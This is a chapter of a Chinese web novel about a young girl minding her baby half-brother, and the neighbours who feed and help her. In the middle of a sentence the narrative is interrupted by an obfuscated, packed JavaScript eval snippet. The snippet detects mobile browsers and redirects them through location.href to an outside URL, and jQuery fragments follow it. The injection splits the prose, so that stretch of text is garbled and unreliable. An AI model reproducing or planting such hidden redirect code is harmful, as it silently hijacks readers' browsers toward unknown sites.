盛凝怀疑程煦其实是个傻子。
不然怎么会有人一岁了还不会说话。
很显然，程蔓君也发现了这个问题，小床放在爸爸和她的房间里，盛凝总能听见她无休无止的对着躺在床上的程煦重复：“喊妈妈，妈妈，喊妈妈……”
程煦回应她的，只有阿巴阿巴阿巴。
盛凝看着门口幸灾乐祸地呲了呲牙，心说长得挺可爱，居然是个傻子。
工作日的时候，盛凝去上学，家里没人，程蔓君就只能把程煦带到单位，她在一个小广告公司做文员，整个单位也没几个人，工作清闲，所以没人管这些。
工地休息时间不固定，就算盛明康在家也只会睡觉，都不会多看程煦一眼，于是周末如果程蔓君有事出门，程煦就到了盛凝手里。
盛凝：？
她竟然也能心大到这种地步，把一个婴儿交给六岁的小孩子带。
程蔓君温柔笑着，塞给盛凝几颗荔枝，跟她软语：“小煦很乖的，姐姐帮我看一下他好不好？”
盛凝哪里听过这么细软的轻哄，看着程蔓君带水的狐狸眸子，差点陷进去溺死，就像被蛊惑了一般点点头，“好。”
屋里不算安静，夏天的蝉鸣和电风扇的声音几乎从未停歇过，盛凝趴在小床的木栏杆上，视线里是熟睡的程煦。
如此岁月静好，盛凝本该泛起一股怜爱之情，可惜脑子里都是——这么吵也能睡着，他是猪变的吧？
可能是听到了盛凝在心里说小话，程煦居然醒了，和她大眼瞪小眼。
“我警告你，不许哭！”
她伸出细细的食指碰了碰程煦的鼻子，作为微小的震慑，程煦没哭反倒是笑了，露出一排小牙，盛凝想到自己的手指被他当成奶嘴的光景，纸老虎一样立马将手缩了回去。
她什么都不会做，只能摇摇婴儿床，或者拿床边的玩具逗逗程煦。
就这么过了三个多小时，程蔓君竟然还没回来，嗷嗷待哺的程煦渐渐将嘴角撇了下去，颇有一种风雨欲来的架势，盛凝害怕得没办法，走进厨房看着那堆瓶瓶罐罐，想给程煦冲奶。
没见过猪跑但吃过猪肉，她没怎么看过程蔓君沏奶粉，还没喝过奶粉吗？
就按照记忆拿水壶热水，从铁罐里挖一勺奶粉在罐口刮平，然后放进奶瓶，一个手拿水壶实在费劲，她只能把奶瓶放在桌子上，两只手抓着壶柄倒水，力道不够，壶嘴碰到了奶瓶，下意识腾出一只手去扶，却忘了另一只手抓不住水壶，热水泻出来全都浇在了手上。
奶瓶滚在地上摔碎了，一同响起的还有程煦的哭声。
盛凝顾不得这些，放下水壶跑去卫生间冲凉水，她看着自己烫得有些泛白的皮肤，抬眼和镜子里满脸通红的自己对视，耳边尽是哭喊的声音。
她咬咬牙关上水龙头，走到程煦的床边说：“你别哭了！”
“你……你别哭了啊！”
一股难言的酸楚涌上鼻尖，盛凝还不知道那种难受的感觉叫做委屈，身边泪眼婆娑的程煦已经爬了起来，靠在栏杆角张开嘴接着嚎，他是没喝到奶，这都中午了，盛凝也没吃饭啊，顺着敞开的窗户就能闻到不知哪家炖了红烧肉，两行清泪“唰”地落了下来，一边哭一遍骂：“我真是倒霉，怎么有你这样的弟弟……你怎么这么坏，我讨厌死你了！”
旧楼隔音差，这一大一小对着哭很难不让人怀疑这家人是不是打孩子了，哭得这么凄惨，千万别打出事来吧。
没过几分钟门就被敲响了，防盗门露出一条小缝，从楼道传出一声质问来：“有你们这么打孩子的吗，我老婆还在坐月子……”
这条门缝渐渐变大，男人对上一双小狗似的泪眼。
“你……你家大人呢？”本想好好教训一番对方，结果是个才到自己肚子的小姑娘，一拳打在棉花上，语气一下就软了下去。
盛凝也觉得有点丢人，用胳膊胡乱抹掉自己的眼泪，刚才哭得有些喘，说话都断断续续的，好半天才憋出一句：“有事出门了”。
男人挠挠头，从里屋传来的哭声听起来已经要气绝身亡了，眼巴前又是个什么都不懂的小屁孩，犹豫几秒钟，无奈叹了口气，还是做了这个冤大头，“来我家吧。”
盛凝看着对门叔叔进屋抱起程煦掠过自己。
“愣着干嘛？”叔叔冲她招招手，“进屋啊。”
那天中午，盛凝吃了一生中最美味的一顿红烧肉。
叔叔端上桌还冒着热气，酱红色的肉上撒着芝麻和葱花，她握筷子的手都抖了。盛得满满的米饭放在她面前，只等主人家吹响口哨，，她就跟比赛的小狗一样冲出去了。
肥而不腻，入口即化，软糯香甜，以她贫瘠的词汇量竟然能想出这么多四字词语形容这道菜，配上五常大米饭，粒粒分明。
“哎呀没人跟你抢，慢点吃。”只需要相处几分钟，对门叔叔就显露出来碎嘴子的毛病来，叽里咕噜说了一堆，盛凝光顾着往嘴里塞肉，几乎什么都没听进去，就记住他姓冯了，那就叫他冯叔叔，还有他老婆姓陈，那就是陈阿姨。
等米饭撑到嗓子眼，这位大胃王在椅子上细细品味手上这碗紫菜蛋花汤的时候，才猛然意识到好像忘了点什么。
她忘了个活生生的人！
懵懂的姐姐想起来她弟时，小男孩也已经饱餐一顿，在床上睡着了。
盛凝进屋看见一个女人抱着程煦，旁边还躺着一个差不多大的小女孩。
女人见她进来，轻笑着朝她招手。
陈阿姨的长相和程蔓君几乎是风格两端的极与极，程蔓君无论怎么一副春风和煦的样子，盛凝总觉得怪，她那双眼睛像是要吃人，像刚成型的狐狸精，黑眼珠滴溜溜一转就能把人迷得神魂颠倒。
陈阿姨不一样，五官都是圆钝的，如果不离得近看，就会觉得她的脸罩上了一层薄薄面纱，像庙里的观世音菩萨，整个人都是素白的。
陈阿姨的小孩也不大，她还在产假期，或许是成为母亲后激发的光环，程煦在一个陌生人怀里竟然睡得香甜，盛凝觉得有些不可思议，陈阿姨看出她的惊讶，说：“小孩子很好哄的，抱着他晃一晃就听话啦。”
女人要把程煦交给盛凝，后者则像看到虫子一样往后躲了躲表示抗拒，最后程煦被塞到盛凝怀里，跟抱了个定时炸弹没有区别，一动都不动。
“你拍拍他的后背，然后喊宝宝宝宝，他就不会在哭了。”
我去，好恶心，盛凝刚吃的红烧肉要吐了，她才不要喊这个玩意儿宝宝。
陈阿姨见她为难，又转折道：“或者你平时叫他什么呀？”
但盛凝平时不叫他什么，一切
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481765|201785||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都可以用“你”或者“他”来替代，想了半天，艰难地学着程蔓君的样子开口，“小……小煦吧。”
那天盛凝学会了怎么哄小孩，抱在怀里拍拍他的背，然后叫他“小煦”。她看见冯叔叔在家里忙前忙后，洗碗打扫卫生，然后给他女儿冲奶粉。
她有些自作多情地想象自己小时候，爸爸妈妈会不会也是这样的，脑子里闪过妈妈摔在她脚边的杯子，又甩掉了根本没发生过的场景。
从小看爸妈吵架和从小没有爸妈管，她和程煦也说不清到底谁更可怜一些，程煦太小了，小到还不会说话，小到七岁的盛凝还没办法和他一起报团取暖，她只当怀里的是一团没有意识的软肉，只不过经常会制造噪音罢了。
程蔓君回来时天边尽是橙红色，盛凝听见对面自家房门开锁的声音，立刻打开了冯叔叔家的门。
“呀，盛凝你怎么在这？”
她还好意思问？
盛凝不愿跟程蔓君发脾气，隐隐有一种左右颠倒，她在寄人篱下的感觉，“程煦一直哭，哄不好，冯叔叔帮忙哄的。”
程蔓君得体地和对门一家道谢，一手抱着程煦一手牵着盛凝回家，初秋的连城还是高温，程蔓君的黑发垂顺在身后，发丝扬起时带着玫瑰花水的香气，她穿得很恬雅，针织半袖和肉粉色到小腿的薄裙，兴许是出汗多了些，唯一的瑕疵在嘴上——豆沙色的口红花了。
程煦的下巴放在程蔓君肩膀上，他睁开眼睛看见跟在身后被牵着的盛凝，她低着头没看他。
“妈妈。”
一声细弱的呼唤从颈侧传来，程蔓君开门的手顿住了，“你说什么？”
盛凝听见声音也抬起头，程煦被程蔓君抱在胸前两人面对面，“你再说一遍。”
程蔓君听起来很急。
“妈妈。”程煦乖乖地冲她又重复一遍，有些含糊不清。
“天呐小煦，你终于会说话了。”程蔓君眼眶都红了，和程煦额头相抵，好一幅母子情深的画面，盛凝默默越过他们进了屋。
小没良心的，白瞎她每天趁大人不在偷偷在程煦床边一遍又一遍教他喊“姐姐姐姐”，她舌头马上就长茧子了！
因为程煦的表现，程蔓君今天心情大好，第一次掌勺做饭，盛凝中午吃了香到爆的红烧肉，由奢入俭难，这一桌子饭只能说食之无味弃之可惜，她那不值钱的爹倒是晚上回来把剩菜剩饭扫荡个一干二净。
程蔓君跟盛明康分享程煦会说话的好消息，很明显对方并不在意这些，跟着一块笑笑敷衍过去，倒是盛凝一直幽怨地盯着宝宝椅上的程煦。
“你干嘛？”
盛凝坐在沙发上看动画片，程煦讨好似地走到她身边。
他牵着盛凝的手，脸蛋圆圆的，特别像学校门口摆摊卖的草莓麻薯，头微微低着，抬眼看她，哪学的扭捏姿势啊？
“妈妈。”
盛凝无语凝噎，闭了闭眼和他说：“叫姐姐。”
“妈妈。”
“姐姐。”
“妈妈。”
盛凝反复实践，终于确定他大概是只会说妈妈，所以管谁都叫妈，这要是在外面走丢了，是个人都能给抱走，比起埋怨，无奈的情绪占据了上风，她上半身微微前倾，和程煦鼻尖相近。
“你是不是，真的是傻子啊？”